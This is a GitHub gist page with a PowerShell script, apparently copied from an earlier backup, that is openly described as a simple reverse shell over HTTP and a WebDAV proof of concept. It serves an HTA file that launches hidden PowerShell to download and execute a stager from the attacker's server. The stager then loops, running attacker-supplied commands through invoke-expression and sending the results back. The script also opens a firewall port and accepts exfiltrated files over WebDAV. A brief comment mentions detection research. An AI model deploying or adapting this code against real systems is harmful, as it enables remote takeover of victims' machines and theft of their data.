Skip to content

Instantly share code, notes, and snippets.

@darkquasar
Created February 15, 2018 03:49
Show Gist options
  • Save darkquasar/1dc964548badb062467f45c8064abc00 to your computer and use it in GitHub Desktop.
Save darkquasar/1dc964548badb062467f45c8064abc00 to your computer and use it in GitHub Desktop.
Simple WebDav Server in Powershell
<#
Obtained from https://github.com/re4lity/subTee-gits-backups/blob/master/JEWebDav.ps1
#>
<#
.SYNOPSIS
Simple Reverse Shell over HTTP. Deliver the link to the target and wait for connectback.
Read And Write Files Over WebDAV Proof Of Concept
.PARAMETER Server
Listening Server IP Address
#>
<#
Motivation: During my research on C2 Channels. I started thinking about things normal users can do, and one of them is Map a Drive
This made me curious, if you could write a barebones WebDAV server to receive files. This is Rugged Code...
I basically just ripped off the responses from live.sysinternals.com to experiment. But It seems to work for basic idea.
So, you start the server, then on the client side you just map the drive:
net use r: http://server/drive
Then copy files ;-)
Feedback welcome:
I think with a bit more polish and effort you could easily write use a basic webDav server in Python or Posh
To transfer data back and forth?
#>
$Server = '127.0.0.1' #Listening IP. Change This.
$webDAVFolder = 'c:\Xfer'
<#
$net = new-object -ComObject WScript.Network
$net.MapNetworkDrive("r:", "\\127.0.0.1\drive", $true, "domain\user", "password")
#>
#Begin WEBDAV Just Enough WebDAV to allow you to map drive to get a binary back to host:)
$webDAVPROPFINDResponse = '<?xml version="1.0" encoding="utf-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://'+ $Server +'/</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype/><D:getlastmodified>Thu, 07 Aug 2014 16:33:21 GMT</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag/><D:displayname>/</D:displayname><D:getcontentlanguage/><D:getcontentlength>0</D:getcontentlength><D:iscollection>1</D:iscollection><D:creationdate>2014-05-27T19:01:44.48Z</D:creationdate><D:resourcetype><D:collection/></D:resourcetype></D:prop></D:propstat></D:response></D:multistatus>'
$webDAVPROPPATCHResponse = '<?xml version="1.0"?><a:multistatus xmlns:b="urn:schemas-microsoft-com:office:office" xmlns:a="DAV:"><a:response><a:href>'+ $Server + '/drive/</a:href><a:propstat><a:status>HTTP/1.1 200 OK</a:status><a:prop><b:Author/></a:prop></a:propstat></a:response></a:multistatus>'
#End WEBDAV
function Receive-Request {
param(
$Request
)
$output = ""
$size = $Request.ContentLength64 + 1
$buffer = New-Object byte[] $size
do {
$count = $Request.InputStream.Read($buffer, 0, $size)
$output += $Request.ContentEncoding.GetString($buffer, 0, $count)
} until($count -lt $size)
$Request.InputStream.Close()
write-host $output
}
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://+:80/')
netsh advfirewall firewall delete rule name="PoshTest 80" | Out-Null
netsh advfirewall firewall add rule name="PoshTest 80" dir=in action=allow protocol=TCP localport=80 | Out-Null
$listener.Start()
'Listening ...'
while ($true) {
$context = $listener.GetContext() # blocks until request is received
$request = $context.Request
$response = $context.Response
$hostip = $request.RemoteEndPoint
#Use this for One-Liner Start
if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) {
write-host "Host Connected" -fore Cyan
$message = '
$s = "http://' + $Server + '/rat"
$w = New-Object Net.WebClient
while($true)
{
$r = $w.DownloadString("$s")
while($r) {
$o = invoke-expression $r | out-string
$w.UploadString("$s", $o)
break
}
}
'
}
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) {
Receive-Request($request)
}
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) {
$response.ContentType = 'text/plain'
$message = Read-Host "PS $hostip>"
}
if ($request.Url -match '/app.hta$' -and ($request.HttpMethod -eq "GET")) {
$enc = [system.Text.Encoding]::UTF8
$response.ContentType = 'application/hta'
$htacode = '<html>
<head>
<script>
var c = "cmd.exe /c powershell.exe -w hidden -ep bypass -c \"\"IEX ((new-object net.webclient).downloadstring(''http://'`
+ $Server + '/connect''))\"\"";' +
'new ActiveXObject(''WScript.Shell'').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>'
$buffer = $enc.GetBytes($htacode)
$response.ContentLength64 = $buffer.length
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
continue
}
if (($request.Url -match '/drive$') -and ($request.HttpMethod -eq "OPTIONS") ){
$response.AddHeader("Allow","OPTIONS, GET, PROPFIND, PUT")
$response.Close()
continue
}
if (($request.Url -match '/drive$') -and ($request.HttpMethod -eq "PROPFIND") ) {
$response.AddHeader("Allow","OPTIONS, GET, PROPFIND, PUT")
$message = $webDAVPROPFINDResponse
}
if (($request.Url -match '/drive$') -and ($request.HttpMethod -eq "PROPPATCH") ) {
$message = $webDAVPROPPATCHResponse
}
if (($request.HttpMethod -eq "LOCK") -or ($request.HttpMethod -eq "UNLOCK")) {
$Uri = $request.Url
$RequestedFileName = $Uri.Segments[-1]
$webDAVLOCKResponse = '<?xml version="1.0" encoding="utf-8" ?><d:prop xmlns:d="DAV:"> <d:lockdiscovery> <d:activelock><d:locktype><d:write/></d:locktype><d:lockscope><d:exclusive/></d:lockscope><d:depth>Infinity</d:depth><d:owner> <d:href>'+$Server+'/drive/'+ $RequestedFileName+'</d:href></d:owner><d:timeout>Second-345600</d:timeout><d:locktoken> <d:href>opaquelocktoken:e71d4fae-5dec-22df-fea5-00a0c93bd5eb1</d:href></d:locktoken> </d:activelock> </d:lockdiscovery></d:prop>'
$message = $webDAVLOCKResponse
}
if ($request.HttpMethod -eq "PUT") {
$ms = New-Object System.IO.MemoryStream
[byte[]] $buffer = New-Object byte[] 65536
[int] $bytesRead | Out-Null
$Stream = $request.InputStream
do
{
$bytesRead = $Stream.Read($buffer, 0, $buffer.Length)
$ms.Write($buffer, 0, $bytesRead)
} while ( $bytesRead -ne 0)
$Uri = $request.Url
$ReceivedFileName = $Uri.Segments[-1]
Write-Host "Receiving File: " $ReceivedFileName -Fore Cyan
[byte[]] $Content = $ms.ToArray()
Set-Content -Path "$webDAVFolder\$ReceivedFileName" -Value $Content -Encoding Byte | Out-Null
$response.Close()
continue
}
if ($request.Url -match '/drive/' -and ($request.HttpMethod -eq "PROPFIND") ){
$Uri = $request.Url
$RequestedFileName = $Uri.Segments[-1]
[byte[]] $buffer = [System.IO.File]::ReadAllBytes("$webDAVFolder\$RequestedFileName")
$webDAVXFERResponse = '<?xml version="1.0" encoding="utf-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://'+$Server+'/drive/</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype>application/octet-stream</D:getcontenttype><D:getlastmodified>Thu, 11 Jun 2015 05:20:18 GMT</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag>"3d6f834e6a4d01:0"</D:getetag><D:displayname>'+$RequestedFileName+'</D:displayname><D:getcontentlanguage/><D:getcontentlength>'+ $buffer.Length +'</D:getcontentlength><D:iscollection>0</D:iscollection><D:creationdate>2014-05-27T19:36:39.240Z</D:creationdate><D:resourcetype/></D:prop></D:propstat></D:response></D:multistatus>'
$message = $webDAVXFERResponse
}
if ($request.Url -match '/drive/' -and ($request.HttpMethod -eq "GET") ){
$Uri = $request.Url
$RequestedFileName = $Uri.Segments[-1]
[byte[]] $buffer = [System.IO.File]::ReadAllBytes("$webDAVFolder\$RequestedFileName")
$response.ContentType = 'application/octet-stream'
$response.ContentLength64 = $buffer.length
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
continue
}
[byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
$response.ContentLength64 = $buffer.length
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
}
$listener.Stop()
@darkquasar
Copy link
Author

Doing research on WebDAV covert C2 channels I stumbled upon this simple script. It works even on Windows 10! Currently developing a few signatures to detect this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment